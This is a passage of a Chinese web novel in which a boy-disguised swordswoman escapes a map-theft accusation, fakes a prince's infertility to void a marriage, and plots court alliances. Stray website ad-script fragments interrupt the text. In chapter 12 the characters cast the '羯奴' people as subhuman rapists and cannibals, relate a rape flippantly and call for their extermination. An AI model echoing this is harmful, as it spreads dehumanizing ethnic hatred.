幸好我反应及时,他站起身时,我顺势转身取皂角浴盐,一边往毛巾上摆弄,很忙的样子,一边擦汗。这汗有一些是累的,有一些是热水汽蒸的,还有一些是紧张的。 堂邑夫暴怒,一掌拍在浴桶上,指着李椒:“你差不多得了,够不着的地儿让我长安帮帮忙也就算了,你还腿,你腿个屁,你……你快些给我坐下,你坐下,你再不坐下,我……” “你怎样?”李椒不服。 堂邑夫扯了条毛巾系在腰间,才出了浴桶,走过来理论,“我长安我都没这么使唤过,你平时随意呼来喝去也就算了我……”说着已经把欲起身迎战的李椒按在浴桶里了,浴桶有些滑,李椒一时落了下风,在桶里挣扎,堂邑夫脚下也打了滑,被李椒一带,一头栽了进去,两个人在浴桶里有些拥挤,却并不耽误他们互相倾轧,力图骑在对方身上,把对方按在水里,场面一时间混乱不已,田世子陈书以及其他同窗见事不好,恐要闹大,都从桶里跑出来帮忙拉架,场面一时间更加……异常壮观。 公子们平日举止得当,书僮们从没见过这种场景都吓傻了,呆呆地站在原地不知所措,我赶紧抱着两个脏衣篮挡在眼前趁乱逃跑了。 还好一群慌里慌张的白条齐心协力把两个纠缠不清的白条拉开了,不然真打起来,大家都要受责罚。 他们没有被责罚,我却在劫难逃。 李椒洗完澡回来,发现什么图找不见了,非说我偷的,我百口莫辩,他就要动刑罚我,虽说书僮都有主人,犯了错都有主人出面责罚,可他是宿卫长,如果主人袒护,他是可以出面责罚的。 堂邑夫被几个人锁住,按在擂台边上,挣扎不开,我努力辩解,可李椒铁了心要罚我,带刺的藤条,喷了烈酒,在我眼前展示,意图威慑,让我招供。 我的上衣被下令扒掉了,鲜红的肚兜上,金线绣着长命百岁的字样,和祥云莲花凤凰图,祥云是银丝的,莲花是金丝的,凤凰周身珠宝点缀,肚兜边上滚了一圈金叶子金珠子,脖子上的红绳原来是挂着个金子打的长命锁,巴掌大,胳膊上缠着金臂钏,镶满宝石。 众人看了都是一惊,堂邑夫家的书僮这般金贵啊。原以为头上总角那两个金发圈就已经很金贵了,谁想这衣服下面还有乾坤。 我白皙的后背,在太阳光和肚兜的衬托下更加白嫩,脊柱上一个一个圆圆的突起,告诉众人我只是一个瘦小的孩子。再看看那布满尖刺的藤条,想着这要是打下来……众人心生不忍,但武馆向来以军规法治,崇尚军令,不得舞私,别说什么恻隐之心了。 李椒也愣了一会儿,眼中却渐渐阴戾,“你招是不招。”堂邑夫对他这么好吗?李椒站在擂台上,居高临下看着狼狈不堪的堂邑夫,更加鄙夷。 “我招我招我全招,可是……可是我真的没拿啊,连见也没见,你说我拿了你得有证据啊。”我看着李椒拿着刺藤走过来,又连忙道:“是我拿的是我拿的,我招啦我全招 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。”不是我没出息,实在是这东西要是挨一下,得多疼啊,有苏和在我倒是不怕留疤,但是为这种事挨这种打不值当的。 “交出来。” “嗯,嗯,这就交,可是,什么样的图啊。” 听我又这样说,他怒极举起刺藤做势要打,堂邑夫大叫:“你敢。老大我能不能出手,能不能?” 我看着要落下的刺藤条件反射吓得大叫,听见堂邑夫吼叫,赶紧阻止,“不能。”你不能出手,你出手也打不过他,何必搅合进来。 我可以自己处理,给了堂邑夫一个确定的眼神。李椒停下来看了看我们,终于下定决心,我知道这次来真的了,在刺藤落下前,我运气侧身,按住我的人没防备差点被误伤,吓得松了力气,又赶紧加了劲儿把我按回去。 李椒是恨毒了我真下死手啊,我赶紧告饶:“别打,别打,我招我真的招,我这就去拿,这就去拿。” 李椒示意他们将我放开,我一边揉着手臂一边看了一眼地上的衣服,想着能不能捡起来穿上,这么多人看着呢。又看了一眼李椒,李椒举起刺藤作势打我吓我警告我,我赶紧快走两步上了楼,他紧紧跟在身后,到了房里,我转头带着哭腔问他:“到底是什么图啊,你和我说我才好找啊。” “还敢狡辩!”李椒又举起刺藤。我吓得一缩。 一起上来田世子陈书等人,闻言心疼的上前挡在中间,劝道:“李椒你看长安那样子,可能真不是他拿的。” “不是他还有谁,我那图就放在衣服里,沐浴的时候就他近我的身,后来他还趁乱跑了,不是他是谁。” “他一个书僮偷图做甚。” “他,他……你们不懂,我和你们说不清楚。”江湖中人居心叵测。李椒不再理会他人,只对着我道:“我再给你最后一次机会,你……想逃!” 不等他说完话,我顺势从二楼窗户跳了下去,落地顺手抓了一把泥土,往后一扬,随着跳下二楼的李椒自然没防备我这一手,一下子迷了眼睛,落地一个大踉跄。我不等他给众人下完抓我的命令,已经像个泥鳅一样钻出人群,在长廊上一边大叫救命一边飞跑。 引得所有宿舍的学生们都出来看好戏。李椒几个飞身便要追上我,我一个回马枪作势出拳,吓得他一躲,借势我足尖一点,一个倒挂金钩,鹞子翻身,飞身上了廊顶。 “好俊的童儿,好俊的轻功。”只听另一条连廊有人夸赞。 “是长安。” 是惠王,我在连廊之上看的清楚,看见惠王就像看见救星,足尖一点直直向他飞过去,却见许多带刀侍卫将他身边的人护了起来,我也不管,落地顺势躲进惠王身后。指着身后一脸怒气冲冲追来的李椒:“王爷,他打我。” 看清情形的李椒,赶紧停下,差点没刹住,忙跪在地上叩拜行礼。 王爷脱下外袍披在我身上,又像抱孩子一样把我抱起来,也不管跪在地上行礼的李椒,只关心的问我。 我听见李椒跪在地上给太子九皇子惠王请安。不由得疑惑,向惠王身侧看去,太子殿下? 我盯着太子殿下的侧脸看,不想他回头看了我一眼,我赶紧低头,只听他呵呵一笑,问李椒:“这么热闹,是怎么回事?” 李椒跪在地上低头回禀,他说完,跟在太子身后的李大公子,恨铁不成钢的上前跪下回话。 原来是太子他们下课从校场回来,一身汗水,都各自回去沐浴,下午要讨论西北战事,李椒负责图纸,谁知洗完澡图却不见了,所以引出这一番波折。 其实图从他袖兜里掉出来了,墨香在他身后捡到,想着给他,他当时看到我在浴房伺候堂邑夫,恼的不行,直接不等墨香说话,拿过换洗衣物就打发他下去了。墨香想着先回宿舍,中途遇见大公子就把图交给了大公子,大公子从东宫当值随太子而来,并没有仆从跟着,正巧墨香是自家人,就让墨香回府去他书房取他之前戍边时候画的图来,所以就错开了,才闹得这一出。 李椒挨了十军棍,宿卫长的职务也撤了。 受点教训也好。 本来我们就要退下了,谁知堂邑夫撇了一眼地图,不屑的道:“我当什么要紧的图,一张全是错误的图,丢了也就丢了,拿着这破图带兵打仗,那不是上赶着去送命吗?” 我也早看出这图有多处纰漏,本想着私下找惠王说一说,再由惠王将我们引荐给太子,毕竟我们是江湖出身,有人引荐更为稳妥。 可是既然堂邑夫当场发牢骚挑明,也不失为是个很好的契机,我不拦着反而乐得其成。 果然这话引起了几位上位者的注意。 这么早接触太子,比我预想的快。我今日本来只是想引李椒出学宫,跟他把误会解除的,不想因他私怨,阻我日后计划。不料巧遇太子,看来是天意,那就算了吧,惠王的名号压不住他,太子应该够了。 11. 退婚 文学馆有太子专门学习的书房,书房质朴,图书浩瀚。 太子求知若渴,礼贤下士,对我们颇为看重。由于图纸不对,下午原定的课就临时取消了,改成堂邑夫的游历讲堂。太傅只当清闲半日,众学生同乐。 太子一行人在书房内听堂邑夫讲述,我们游历西域雪原北漠草原关外建州和新罗高句丽以及他从前出海远洋的见闻,他想到哪里说到哪里,说的杂乱无序,并无章程,但好在故事新奇,他又是讲故事的好手,偶尔添油加醋,稍稍歪曲事实,使得故事听起来更加风趣精彩玄妙。 比如我们遇见一头孤狼,三下五除二就给干掉了,他偏要说遇见了雪原史上最强狼群,是有狈做军师的那种,说他如何力战群狼,如何斗智斗勇,如何与狼王缠斗,将落入狼窝中的我解救,还不慎被躲在暗处的狼后抓伤。 他给太子一众展示他收藏的狼牙,说是狼王狼后之牙。还有大腿根根的疤痕,引得众人纷纷赞叹。 那疤痕确实是给草原狼抓伤的,却是他去偷狼崽子,不慎让母狼偷袭挠的。他从牧民那里听说狗是狼驯化而来,便非要弄一只来试试,结果留下疤痕做纪念,差一点和我做了姐妹。 他讲故事讲的精彩,大家听得兴致勃勃,风趣处我也跟着哈哈大笑,只是腾不出手来鼓掌,我坐在书房外侧屏风后对窗的位置,负责画新图,手下的羊皮柔软细腻,在上面作画行笔流畅,不干不涩,舒服极了。 我这画图的本事,是师父手把手教的,入门才一年多,门里做任务用的图纸便都出自我手,这事儿我轻车熟路,得心应手。 惠王今日一早去宫里请安偶遇太子,太子许久未见他,见他身子大好真心高兴,舍不得他回去,又要上学,不得空陪他,便邀他一起来学宫伴读一日。 学宫虽是皇家学院,但亲王亲王世子是不能来学习的,其中道理不言而喻。 惠王听了一会儿,便到我身旁坐下,边看我绘图边和我说话。 好久不见,他脸色虽然依旧苍白带着些许病气,却竟然长高了也健壮了,我心中暗道:当时建议他继续装病,不想他恢复之后还能长身体,这病怎么装都怕是藏不住…… 忽听得太子询问我们师门出身,堂邑夫说他是静临城外小香河村的村民,长安是师父捡来的孩子,一同拜入师门,“但长安是师尊的入室弟子,师尊羽化以后,大师兄痴迷黄岐,无心门中事务,长安就成了掌门,但我们老大一上任第一件事就是解散门徒,所以我们的门派已经不存在了,新收的弟子都跟着苏和师兄学医,已经不教武艺了。” 太傅仿佛对我师父很感兴趣,便问门派可有名号,师尊可有尊号,何时何地羽化。 堂邑夫只道:“没有名号,师门以悬壶为主,练武强身为辅,门中只有长安得了师父真传,必要时护我门众安全,其余都是外家功夫,师尊未有尊号,说起羽化那就一个字——奇了。那日原本晴空万里,师尊说要出趟远门,才出了山门,忽晴天霹雳,足足九道天雷,电光火石,狂风大作,天崩地裂,神鬼莫测,待一切平静,师尊已然不见踪迹了……” 我真实在忍无可忍,隔着屏风打断他,“快闭嘴吧你,你师父才给雷劈死了,你们全家都给雷劈死了,这话你可别叫师兄知道,那是我师父,那是他亲爹,你胡说八道什么,回头师兄给你扎两针,让你和你那些红颜知己做姐妹。” 众人闻言哄堂大笑。惠王也忍不住呵呵笑起来,看着气鼓鼓的我,笑得更加开心。 堂邑夫吓得一凛,但终究想要回点面子,“那我肯定不能编排师尊嘛,是师尊走的那天就是那个情形,那大师兄也不能因为我陈述事实就胡乱扎我,他可是医者父母心,对同门好着呢。” 我继续画图不理他。堂邑夫又开始讲述他的奇幻历险。 惠王喂我吃糕点,顺势俯身用不易察觉的声音,低声道:“有个事,找你帮忙。” 我含着糕点附耳过去。 惠王顺势趴在我耳边,轻柔地呼吸让我痒痒的,我躲了一下,他一手捂嘴呵呵一笑一手整理我耳边的碎发,轻轻道:“太后赐婚。” 我闻言看着惠王的眼睛,他依旧用旁人看不出破绽的样子,微微笑着,眼神却不易察觉地对我闪烁几下,以作暗示。 我会意,眼睛一转顿笔沉思,以前惠王一直病着,有心人在默默等待他的死讯。如今他病已大好,虽然装得比常人弱些,但到底身子好了,有人心就有了应对。 惠王是亲王,成婚以后,便要回归封地,他身份特殊,回去封地反而大大不好,那人怎么肯让他安心做个闲散王爷。亲王是有兵权的,惠王一直在京中养病,封地的兵权一直由朝廷代为接管,其中安插了什么人,惠王根本无从知晓,无从防备,一旦回了封地,就很麻烦,自古军中最易出些乱子,随便一个罪名加身就很麻烦,不管是不是诬告,都要先押解上京,走流程。那人完全可以设计做实,哦,其实也不用做实罪名这么麻烦,毕竟押解之路漫漫,路上遇到什么突发状况也是有的,即便安全入京,规规矩矩走流程,狱中再有什么闪失,不等真相大白就丢了命去,到时候是诬告还是实罪,也不过是看上位者如何安排,罪名还是美名,对于死者毫无意义。 眼下惠王最好还是一如继往留在长安城,惠王的病……看来还得从病上作文上。我附耳低声道:“车道山前,船到桥头,兵来将挡,水来土掩。王爷打个配合就好。” 惠王微微笑着,只对我眨眨眼。我们这般模样,怕是早被人看在眼里。我们索性,交头接耳几乎耳鬓厮磨,异常亲密,有人看就有人看,反正听不见我们说什么,只看这暧昧的情形,谁也猜不出我们说些什么正经事儿。 那么,好戏登场! “王爷要成婚啦!”我故作吃惊,声音有些大,一定会惊扰到屏风内的人们。 可是屏风内的情形我和惠王怎么看得见呢?我们肯定是有什么事聊得太投入,一时间把里面的人给忘了也是有的,连里面静了下来都没察觉到。 “怎么?你不恭喜我。” “按理说是要恭喜的,可是……有个事不知当讲不当讲。”我好生为难。 “但说无妨。” “嗯……王爷还是把婚给退了吧,别耽误人家姑娘。” “此话怎讲?”惠王脸色微微一变,感觉不妙。“你这孩子,莫要胡说,赐婚是恩典,如何 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就耽误人家姑娘。” “哦赐婚当然是好事啊,可你不行,”我可不敢大喘气,快速说道:“你病的太久,身子坏了,此生于子嗣之上再无希望,何苦误人终生。” 惠王闻言大为激动,再无沉稳,慌张不已:“我,你,我还行的我……”虽是在演戏,但惠王这会儿可能真的入戏了,满脸通红,憋屈羞愤,眼神盯着我不住的询问,好似在说要不要做到这种地步,这要是传出去,不比被人设计死了还难受。 我赶紧给他吃定心丸,用力按住他的肩膀道:“哎呦,我又没说你不行,你的身体是我一手调理的,你在床上生猛成什么样子,我肯定是有数的。” 此言一出只听原本安静的书房,有人倒吸凉气,毕竟这等虎狼之词,还从没有人敢于尊者所在之场合说的大言不惭又……一本正经。 惠王也没想到料下得这么猛,大吃一惊,伸手向前,却停下来,犹豫着要不要捂我嘴,又觉得这话已如覆水难收,没有捂的必要了。 我握住他悬着的手,语重心肠,如人父母叮嘱爱子:“种子坏了,再好的地,再忙活,也不会有收成,何苦耽误人家姑娘。赐婚给你的那肯定是好姑娘,你若不爱她,也不好意思让人跟着你一辈子无儿无女,你若爱她,又怎么忍心让她跟着你一辈子无儿无女,抱憾终身。” 惠王似是颇为感触,眼圈红红的,说话都颤抖起来,“真,真的……真的再无希望。” “你病的太久,太久了,一希望也没了。”我低着头很是伤感,抽抽鼻子,再抬起头,眼角含着残泪,异常郑重:“但我发誓,我之毕生所学,可保你,可保你生龙活虎,雄风不到,姬妾成群,别的男人能有的你都有,能行的你都行,就……就子孙满堂……不行。”末了觉得还不够让人信服,又加了句,“无力回天了。” 惠王如丧考妣,竟掩面痛哭起来。我慌张起来,又不能明着提醒他咱们这不是为了解决问题演戏呢吗,你是忘了,还是演技果真好到如此地步。“你你你别哭啊,认命吧,不认命也没办法,要是实在难受,肩膀可以借你靠靠,那边,这手得画图。” 悲伤不已的惠王刚靠上来,闻言又挪到另一边去。 “哭吧,哭完就去退婚吧,别误了人姑娘终身。” “怎么退啊,太后亲赐的婚。” “照实说啊,跟太后说你子孙无望不能耽误人家姑娘,要实在想找人伺候你照顾你服侍你,多赏你些姬妾就行了,”方便太后在你身边安插眼线,她乐意的很,“你若腻了,再请太后恩典隔三差五换上一批,”还能频繁换眼线,不引起怀疑,不用担心安插的人做事不力随时暴露,如此你对太后的威胁和以前没什么差别,比起大费周章,太后肯定更愿意走我们给她计划好的这条坦途。“你放心,我一定给你好好调理身体,定不会让任何一个姬妾在房事上说你一句不是。” 此言一出,忽听的屏风内侧有人被茶水呛到,又听得众人惊呼太子小心,我和惠王一副如梦初醒的样子,大惊失色附身跪在地上,请求饶恕。 太子缓了缓,隔着屏风叫我们起身,沉默良久道:“惠王的事,我去与太后说,惠王……一定要放宽心啊。” 12. 煮饭 惠王感激涕零,再三叩谢,太子起身过来扶他,刚安慰了几句,不经意扫过我画的图,眼睛大亮,便再挪不开目光,拿起细看,越看越兴奋,激动地拿着图与众人展示,太傅也连连称奇,太子嘴里不停地念叨:“好啊好啊,画的真是细致,高山大川,城池屋舍,应有尽有,好啊好啊……众人听令。” “在!” “稍事休息,今晚通宵达旦。” 太子经常带着众人通宵达旦,众人不觉稀奇,但也无人肯下去休息,都围上来看图。这些帝国未来的精英,求知若渴。 我上前行礼禀明:“殿下这只是西域部分,这里这里还有这些地方,当时行路的时候我睡着了,可以让堂邑夫补齐,雪域高原,漠北塞外,关东建州等地,长安不日就可全数绘出。” 太子惊喜地看着我,拍着我的肩膀,道:“长安,长安,你配得上这名字。” 这才哪到哪啊,我还能更配的上。 “定不负殿下所期。” 堂邑夫领命填补地图,看着图却不经蹙了一下眉头,暗道:画得也太细了吧,让我如何接的上啊。他起身对我道:“我去拿我的行路手札去。”说完便一路小跑跑开了。 堂邑夫的手札里有不少小地图,都是些各国妓院所在地标。 但他忘了小地图一边他还写了不少对各处妓院美女的评价。堂邑夫捂着不让看,但还是被大伙起哄公诸于众,太子也参与其中。 我给他解围说:我们是汉人,到了外国若是绘制地图,会被当作细作斩杀,堂邑夫故意用妓院做地标,帮助记忆,绘制地图便可精准。 众人皆对堂邑夫巧思谨慎称赞。 太子伴读在精不在多,算上受罚没来的李椒一共也就六个人,今日又多了九皇子,惠王,此刻他们都下去休整,喝茶更衣。大公子是太子府臣,专门负责警卫,保护太子安全,守在外面。 太子有专门休息的茶水间,这会儿身边除了惠王我和堂邑夫就唯有一个韩燕熙。 大乱战时留在江北誓死报国的老唐异姓王韩王,庶曾孙韩燕熙,长了一副绝美的面容,我总是忍不住看他,大概他生来备受瞩目,并不觉得冒犯,只忽玩味道:“哦,你们早想着以后大有用途?”这话问得,是要给我们挖坑啊。我若说是。那岂非早有预谋,接近太子是为意图不轨? 我余光扫过太子,太子品着茶点并无异样,我道:“我们是去寻药的,一开始堂邑夫是真的想把妓院的地址记住,西域荒漠沙丘众多,风起沙涌,暗河时有改道,地形太过多变,堂邑夫怕不记下,以后再去真的找不到。不过后来我们就是有心记录了。” “哦,说来听听。”他这一搭话,我却瞬间对他好感倍增,这哪是给我们挖坑的啊,这简直就是给我递话头,搭桥铺路的啊。 这人,生的极美,还心地善良,这么会铺路搭桥,甚好甚好,有些话借你这太子亲信的口问出,我才好给太子解惑,要不然以后我们君臣可有的猜忌了。 我思索一番,忽得像是忘记回答他的问题,只转头和惠王说:“你的婚事抓紧时间退了,公主的婚事抓紧定了吧。要不羯奴人又来要汉家公主和亲,轮到咱们公主头上了可怎么办。” 惠王没想到我说的这样直接,觉得冒犯,却也不好意思对我发作,只红着脸结巴道:“我,我姐姐孀居,不,不用和亲。” “咱们汉家女子孀居再婚是正常事,又不是南唐人,还是赶紧再婚的好,要不一道圣旨下来,去也得去不去也得去。”我不等他反驳,赶紧掐住话头道:“匈奴,靼奴,羟奴,女真这些奴人还好些,只那羯奴人简直都是地狱的罗刹恶鬼托生,一点人伦也没有,根本不在乎女人是不是孀居,只要是女人就行。爹死了,除了亲娘,剩下的女人和牛羊物件一样全都继承了。嗯……举个例子,一个家里要是爹有两个女人,两个女人各自生了儿子,等到爹死了,两个儿子把娘一换,就各自成家,再生儿子,再去外面再抢一个女人回来再生儿子,周而复始,大多如此。我们一路走来,看人土风情,只有羯奴女人不知道什么是争风吃醋,不仅如此,还互相友善抢着照顾对方的儿子,呃……那以后都是自家丈夫,照顾的比自己儿子还用心些。” 众人听了三观破碎,想象力丰富的,大概暗自带入角色,脸色好像吃了苍蝇一样。 堂邑夫也一脸鄙夷,其实心中暗爽,这些没见识的家伙。不过长安说这个作甚。 “有一次,我和堂邑夫路过一道河流,正是大漠落日,长河孤烟,景色十分迷人,忽听女人在河边洗衣歌唱,虽然听不懂,但也应景,心情舒畅。忽然来一个煞风景的骑马牧人,那人粗鄙不堪,当时草原放牧的也不止他一人,又有我们这样的路人,他却当众强要那女子,那女子微有反抗,就被他吃掉半个耳朵。” 大乱战时,奴人把留在北地的老唐人都要吃绝了,所以奴人吃人是我们根深蒂固的常识,今时今日听起来还是让人惊骇恐惧瑟瑟不已。大家隐隐作呕,强忍不适。 惠王回过神来问:“为何不救那女子。” “太快了没来得及,那羯奴人懂什么情调,风花雪月就别提了,亲亲抱抱都根本不会,衣服都不脱,扒了裤子直接就上,长安总是还小,我把她按回马车里,转头那边都完事了,根本就没来的及,再说还有其他羯奴牧人,人家都没管,我们这有深仇大恨的汉人管什么。”堂邑夫一脸义愤填膺,他能在说这种话的时候配上这个表情,我只能佩服啊。 “羯奴一行,我当时只觉这羯奴人都是畜生,活在世上毫无意义,该再来一次天谴灭了他们。想着最好从军,来日我大汉雄师挥兵北上,灭了他们。于是我与堂邑夫立下此志,便回头将各地又周游一遍,将地形路线细细记下,留待日后从军所用。” “可是我身子坏了长不大了,和幕兵官说了,纵有一身武艺,他也嫌我太小,不肯让我从军,倒是相中了堂邑夫。”我满脸失望。 “我原本就是外出寻药治病,如此便更急着去找师兄治病,可惜到底也没治好。”众人也都为我惋惜,惠王拍了拍我是肩膀让我振作。 “总之赶紧给公主找夫婿吧,那各部奴人每年要跟咱们和亲,就数羯奴人要女人要得紧,听说近来总吆喝着要真公主,他们连自家女人都不会爱惜,又怎会爱惜咱们汉家女人,虽说羯奴王室比寻常羯奴人好些,但又好到哪里,咱们去和亲的女子不是忍不了乱~伦,就是受不住强~暴,总也活不下来,最后都给吃了,所以他们总是缺女人总是要女人,那公主细皮嫩肉的撑他们几顿吃啊。” 我虽有点危言耸听,但却不是空穴来风。 惠王看了看太子,又看了看我,见太子点头,便试探性地问我:“说起来太子殿下比我跟姐姐更亲近些,我时常病着,这些年都是太子殿下照顾姐姐多些。若姐姐再嫁,我们希望可以助益太子殿下。” 太子毕竟和我不熟,却不料惠王和我熟到可以说话这么直白的地步,一时脸色变换,很是精彩。韩燕熙递上茶,笑嘻嘻的眯眼看我如何作答。 “嗯……我可不是能回答这种问题的人啊。”我故作为难。 惠王看了看太子,又有些抱歉的看了看我,仿佛让我体谅他的为难。我自然体谅,毕竟这事儿是我提的,我不解决谁解决。 “那我直言不讳了哈。嗯……公主婚事只要漏出风气,马上就会有人动心思的。”我明枪明刀的上吧,我毕竟杀手出身,喜欢速战速决,一招毙命,一向如此,如今目标是做太子谋臣,不出招则罢了,出手就直击要点,看看这个太子能不能接住,有没有那个气度胸襟格局和实力,看看他能不能配的上我的才能,若是不能,我另选他人。 一众人听到“有人”这两个字,都是一凛。 我闭上眼像是在做一个决定,须臾睁开眼睛道:“北军大将前上郡太守忠毅侯李远李家的两位公子一个是太子府臣一个是太子伴读,以后也都是北军重臣,李将军如今掌管禁军,北郡燕国是二皇子德王的封地,代国是八皇子齐王的封地,此乃陛下有意为太子扶持的北军势力,但北边势力常年在外,可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 防御外敌,却远水难解近渴。如今有用的唯有禁卫军羽林卫。而北军大将还有代郡太守程难识,陇西太守蔡玉,以及雁门云中九原等地北军,并不算太子麾下。这些都是明面上大家看的到的。”对手不阻拦太子培植北军势力,是因为根本没把北军当回事,反正北军戍边,战事要紧,不能轻易回防京畿,回防也没啥意义。这就要说到南军的重要性。 “南军因几无战事,大多常年驻扎长江以北。据守东阳,淮南国,衡山国,南郡,巴郡,广汉,蜀郡更甚者换防至关中关东地带开封洛阳也常年驻扎南军,近十年长安更在城北渭南设有南军大营常年驻守,此举用意支援北军,保护京畿,能阻挡靼奴各部,可必要时阻断北军回防也是顺手的事。南军将领多世家勋贵不乏与殿下结识于少年者,衡山国乃三皇子靖王之封国,邻国淮南国乃梁王之封地……” 我并不理会众人神色,“先平昭驸马乃南军统帅,如今这统帅之位一直空悬,由太后以虎符钳制,即便陛下也很难插手南军事务为殿下谋划。” 我思索一番,道:“南军军中后起之秀,年纪与公主相仿,有才能担当可为殿下所用者,赵桓也。” 此言一出,众人皆惊。赵桓人中龙凤,乃下一任统帅最佳人选,这样未来可期的人才……众人心中感叹:长安这小子真敢想啊! 惠王心下自然觉得若是成了,那真是一门一举多得的好亲事,“可我姐姐孀居,那赵桓虽年龄相当,却未曾婚配……” “咱们汉家还在乎这个,那民间女子孀居再嫁还受朝廷表彰,多生孩子还立牌坊,又不是南唐,守寡守一辈子,到死才给立牌坊。那谁叫赵桓这么些年不婚不娶,落咱公主手里了,可不就是上天给公主留着的吗?可不能让他跑了。再说咱公主金枝玉叶,又不曾生养,还委屈了他不成。这事迟则生变,我看你这就回去给公主说,让她事不宜迟赶紧生米煮成熟饭。” 惠王真的有点绷不住了,“……” “以前你姐姐因着你的病可能不愿意,如今你身子大好,她也了无心事,肯定愿意。你要不好意思我去说,成大事者不拘小节,今晚就煮饭。” 太子和惠王都被自己的口水呛到了,连连咳嗽。韩燕熙一边服侍茶水一边暗道一声真是妙人,是一点为官之道都不讲啊,真敢说啊真敢干啊。 太子缓了缓道:“赵桓的亲事可不是这般儿戏就能成的。” 惠王点点头,看着我:“你分析的有理,但赵桓不是轻易可得之人。” 这些人要么平日行事小心惯了,要么从没行过事,遇事便不知如何处理,心中又多有牵制,畏手畏脚,束手无策。 太子神色有异,却并无指示。他大概被我说得心动,但却顾及太多。 我思索一下继续道:“对呀,若能轻易可得,孩子早满地跑了。那赵桓可是有人盯了小几年了吧。他不结婚也有不结婚的道理和无奈,那就是盯他的人他不喜欢,他不喜欢的人身后的势力他不愿跟。”见众人仿佛被我绕晕,我顿了顿,似是提醒一般,道:“那梁王爱女,说话就要成年了吧。赵桓的情形跟咱们太子爷可没来去哈。”自己掂量去吧。 “你还知道什么?”韩燕熙看了一眼太子,附身向前,看着我问道。 “嗯,我知道的可多了,我还知道赵桓是先驸马的同窗好友,想必公主与这赵桓还见过面,说不定心里还有些好感,就是这窗户纸一直没人留心也没人捅,咱们捅捅呗,说不定没你们想的那么困难,人家就等水到渠成呢。” “那咱们就捅捅?”太子接话道。 众人互相对视,惠王道:“那就捅捅吧,就算不行……”我姐姐也没损失。 我不等他说完就道:“不行硬上,咱汉家的男人,怎么也比羯奴人好上一万倍。咱们这就给太子殿下告辞,赶紧行动起来吧。”说完就拉着惠王行礼告退。 “这么快!?”众人大惊! “兵贵神速,一旦走露风声,便失了先机,受制于人了。”我们杀手做事一刻都耽误不得,会丢命的。 13. 眉眼 太子毕竟稳妥,把我们拦下。 “你,没有什么要对我说吗?”太子殿下端坐,眼神正视着我,坚定又温和,语气轻而缓柔,似乎怕语气说得太生硬太像质疑,会吓到我伤到我。 我还想着他要是猜忌我怀疑我,我就一句话,“君若疑我,杀我便可!”硬刚他拿捏他。可没想他竟这般温润儒雅,如惠风和煦如阳春暖日,我一下子就柔软起来。 “啊……”太子的眼睛真好看,看得我心里有些悸动,别开视线,行礼道:“太子殿下夸我说,我配的上长安这个名字,那我一定要更配的上,就像当年我师父捡到我时说捡到我算是捡到宝了,那我一定要做他最好的宝贝,尽我所能。我当年躺在义庄的棺材里,几乎已经饿死了,可是不舍得咽下那口气,因为我还挂念失散的妹妹,师父捡到我,用七棵豆子救了我,师父研制药材没有人试药,别人都怕苦怕疼怕死我不怕我来,虽然伤了身体再也长不大,但是我还好好活着,还因此帮助师父师兄研制出救命的药方,还练就一身本事,我有幸将此残躯献与众生,便是我活着的意义和福报,就没辜负师父救我,我没有什么奢求的了。师父走了,我曾一度没有活着的意义,浑浑噩噩,堂邑夫带着我跋山涉水去找寻传说中的灵药,也不过是希望我好好活下去。外域一行,深受触动,误打误撞,我有了新的目标,堂邑夫留恋花丛,看似荒唐,其实亦将生死置之度外,做好了随时为国捐躯的准备。原本报国无门,幸得惠王举荐。殿下因主战而痛失监国,天下为之悲痛,挥师北上,踏破群奴,乃民心所向,殿下众望所归,长安愿身先士卒,为殿下所用,鞠躬尽瘁,死而后已。” 说完一个头重重磕在地上。 堂邑夫也起身跪地叩拜:“鞠躬尽瘁,死而后已。” 太子大为感动,似乎找到知己,将我扶起,四目对望,良久不已。 “你这眉眼……你是不是有个妹妹叫平安啊。”韩燕熙看着我的眉眼,心中一番思考,试探着问。 “噢,你大概就是我妹妹说的烦人精吧。”我慷慨激昂地发言了半天,你就注意到我和平安眉眼相似了。 长得妖艳嘴巴贱,武功高强欺负人,家世显赫惹不起,三天两头去捣乱。平安都要烦死了,这小子内力还真是深厚,郑清想要成为他的对手怕是难啊。我得再给他几本秘籍。 因着平安的关系,韩燕熙忽然对我热情起来,我没理他。他好像并不觉得平安背地里叫他烦人精有什么不好,反倒一脸开心。我行走江湖见人也见的多,这种人设还是蝎子拉屎独一份。别是空有一身好功夫,却读书太少,外强中干绣花枕头,脑袋空空分不清好赖话吧。 今天最大的成就是投诚太子,晚饭过后,我说要去苏和那里取些东西画图,就跟着惠王一起走了。堂邑夫将剩下的部分完成,就回宿舍休息,太子他们通宵达旦。 太后下懿旨解除了惠王的婚约,惠王带着一众太后赏赐的姬妾领旨谢恩,浩浩荡荡,还没从太后宫中出来,那边赵桓便入宫求娶平昭公主,先一步入宫的平昭公主正与皇帝淑贵妃闲话家常,当即表示与赵桓情投意合已久,两人一个非卿不娶,一个非君不嫁,皇帝欢喜,保了天子媒,立即赐婚,圣旨一出,尘埃落定,打了太后梁王一个措手不及。 太后最喜爱的儿子是梁王,这么多年一直为他铺路。赵桓更是两人在南军中一早看好的人才,暗中扶持多年。为了掩人耳目,为了给梁王避嫌,在启用之前他们分外小心,赵桓的晋升之路十分干净。虽然赵桓本身有能力,但是太后依然废了很多心血,才让他在南军中稳如泰山。 这么一个青年才俊竟为他人做了嫁衣,太后梁王愤怒不已,只能吃了哑巴亏。如今想要瓦解赵桓,培植新势力,又要不知多少年心血。精心策划的这步棋,马上就要抬上明面,那统帅的位置,只等梁王嫁女,便可授予,如今全白费了。梁王爱女已长成,多年扶植的女婿却被偷了。关键是一直为了掩人耳目,暗中助力,大行方便,赵桓及其军中势力并不知晓。或者隐约知晓,但大家都没表明,也不方便承认。这一步棋竟烂成这样,赵桓更不会承认,念太后梁王的好了。太后想到这里,简直气死,远在淮南的梁王也窝囊得差点吐血。 赵桓毕竟帅才,拥有敏锐的洞察力,太后梁王以为藏的很好,可他怎会不知,他无心政治,不想站边。 他只想做个单纯的武将,可他被盯上了,这些年各方势力涌动,但都不敢轻易拉拢他,不敢得罪他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); 